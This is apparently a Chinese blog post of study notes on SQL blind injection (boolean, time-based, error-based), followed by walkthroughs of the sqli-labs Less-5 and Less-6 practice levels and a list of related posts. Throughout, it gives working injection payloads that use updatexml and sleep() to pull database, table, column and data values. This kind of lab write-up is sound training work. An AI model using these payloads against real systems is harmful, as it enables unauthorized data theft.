盲注笔记:

  1. SQL盲注攻击:只有两种回显结果,错误和正确;无法用url查询爆出数据库的信息;回显注入语句中加入判断方式,使得回显结果为true或者false;
  2. SQL盲注分类:布尔盲注,时间盲注,报错盲注(色块的两种类型都只有false和true的返回,而报错盲注还有一些错误信息的返回)
  3. 时间和布尔盲注:无法使用回显注入union(有存在于数据库和不存在于数据库之分)
  4. 报错盲注:有报错的提示(有语法错误的提示信息)
  5. 布尔盲注:构造SQL判断语句 --> 如:1’ and length(database())>=5#判断数据库字符长度

    利用 1’ and substr(database(),1,1)=’z’#判断第一个字符

    1’ and substr(database(),2,1)=’z’#判断第二个字符

    1’ and ord(substr(database()),3,1)=119#判断第三个字符的ASCII码

    查表名:1’ and substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1,),2,1)=’u’#

    判断是否是布尔盲注 --> 判断数据库字符的长度 --> 爆数据库名 --> 爆表名 --> 爆字段

    (使用union注入判断)

  6. 时间盲注:利用时间函数,观察不同条件的等待时长;利用sleep(),benchmark()等函数,让MySQL的执行时间变长

    时间盲注多于if这样的函数结合(if(expr1,expr2,expr3)expr1为true,则返回expr2,否则返回expr3的值)

    If (length(database())>3,sleep(5),1) 如果数据库字符长度大于三则MySQL休眠五秒,否则查询1

    1’ and If (substr(database(),1,1)=’d’,sleep(5),1)

    (与布尔盲注基本相同)

  7. 报错注入:构造特殊参数形式,利用某些函数的报错信息进行注入

爆库:1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

利用updatexml的报错功能,当函数的条件为假时,会将第二个参数的值报错显示,会出现报错,因为updatexml不支 持concat语句,即concat是一个错误表达;0x7e=~

爆表:1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’dvwa’),0x7e),1)

8 . 盲注总体思路:将想要查询的数据作为目标,构造SQL条件判断语句,与要查询的数据进行比较,并让数据库告知 当前语句执行是否正确

--------------------------------------------------------------------------------------------------

Less-5(报错盲注)

1.判断是否存在注入点

执行?id=1 显示正常,而执行?id=1’出现报错,首先判断存在注入点且为盲注

2.爆库名

通过updatexml函数的报错功能,执行?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1) --+,得到库的名字为security

3.爆表

执行?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e),1) --+,出现如下报错,原因未知,改用limit函数

执行?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),0x7e),1) --+        求库security下的第一个表

执行?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 1,1),0x7e),1) --+        求库security下的第二个表

执行?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 2,1),0x7e),1) --+        求库security下的第三个表

执行?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 3,1),0x7e),1) --+        求库security下的第四个表

执行?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 4,1),0x7e),1) --+        这是的结果为空,即库security下只有三个表

综上,得到security下有四个表:emails,uagents,referers,users

4.爆字段(爆emails)

执行?id=1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’emails’ limit 0,1),0x7e),1) --+

同第三步一样,得到表emails下有两个列:id,email_id

5.爆数据(爆id)

执行?id=1’ and updatexml(1,concat(0x7e,(select id from emails),0x7e),1) --+,出现如下问题

于是将url修改为?id=1’ and updatexml(1,concat(0x7e,(select group_concat(id) from emails),0x7e),1) --+

-------------------------------------------------------END----------------------------------------------------------------

Less-6(报错盲注)

与less-5类似

1.判断是否存在注入点

执行?id=1时回显正确,执行?id=1’时回显正确,执行?id=1”时出现报错,执行?id=1" --+时,发现闭合方式为:” ”,由此判断存在注入点

2.爆库名

执行?id=1” and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

3.爆表名

执行?id=1” and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e),1) --+,(怎么突然又可以了,迷茫)

4.爆字段(爆emails)

执行?id=1” and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’emails’),0x7e),1) --+

5.爆数据(爆email_id)

执行?id=1” and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails),0x7e),1) --+

-------------------------------------------------------END----------------------------------------------------------------

sqli-labs less-5 --> less-6的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  7. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. The related functions and attributes for managing attributes - 操作属性的重要属性和函数

    特性 property 都是类属性(静态变量),但是特性管理的其实是实例属性的存取, ****** 回顾 -'类方法' classmethod 和 '静态方法' staticmethod 皆可以访问类 ...

  2. Source Code Structure - Python 源码目录结构

    Source Code Structure - Python 源码目录结构 Include 目录包含了 Python 提供的所有头文件, 如果用户需要用 C 或 C++ 编写自定义模块扩展 Pytho ...

  3. 带你简单了解域名系统DNS

    带你简单了解域名系统DNS 一.域名简介 1.1.DNS服务的作用 负责解析域名,将域名解析成IP地址. 1.2.域名系统概述 由于32位的IP地址并不容易记忆,人们往往喜欢记忆网站的域名.所以当我们 ...

  4. 《Head first设计模式》之装饰者模式

    装饰者模式动态地将责任附加到对象上.若要扩展功能,装饰者提供了比继承更有弹性的替代方案. 星巴兹是以扩张速度最快而闻名的咖啡连锁店.由于扩张速度太快,他们准备更新订单系统,以合乎他们的饮料供应要求. ...

  5. qt creator源码全方面分析(2-10-1)

    目录 Getting and Building Qt Creator 获取Qt 获取和构建Qt Creator Getting and Building Qt Creator 待办事项:应该对此进行扩 ...

  6. 获取页面form表单对象的方式

    w3c并没有提供标准的这种使用方式,所以各浏览器实现会有差异,还是使用标准的w3c标准,getElement的方式. 记录下,老是忘记 使用documen对象的方法 getElementxxx 方式, ...

  7. Nginx 核心配置

    nginx的核心配置在conf/nginx.conf中. 全局配置块 user root; #运行worker进程的账户,user   用户   [组],默认以nobody账户运行 worker_pr ...

  8. C++ substr 截取子串

    1. substr() 方法使用 string substr (size_t pos = 0, size_t len = npos) const;pos: 截取初始位置(从头开始截取pos=0)len ...

  9. RxHttp 让你眼前一亮的Http请求框架

    1.前言 RxHttp在今年4月份一经推出,就受到了广大Android 开发者的喜爱,截止本文发表在github上已有1100+star,为此,我自己也建个RxHttp&RxLife 的群(群 ...

  10. Python——捕获异常

    一.什么是异常 """异常:错误,bug处理异常:尝试执行某句可能出现异常的语句, 若出错则用正确的代码去替代. try: 可能发生错误的代码except: 如果出现异常 ...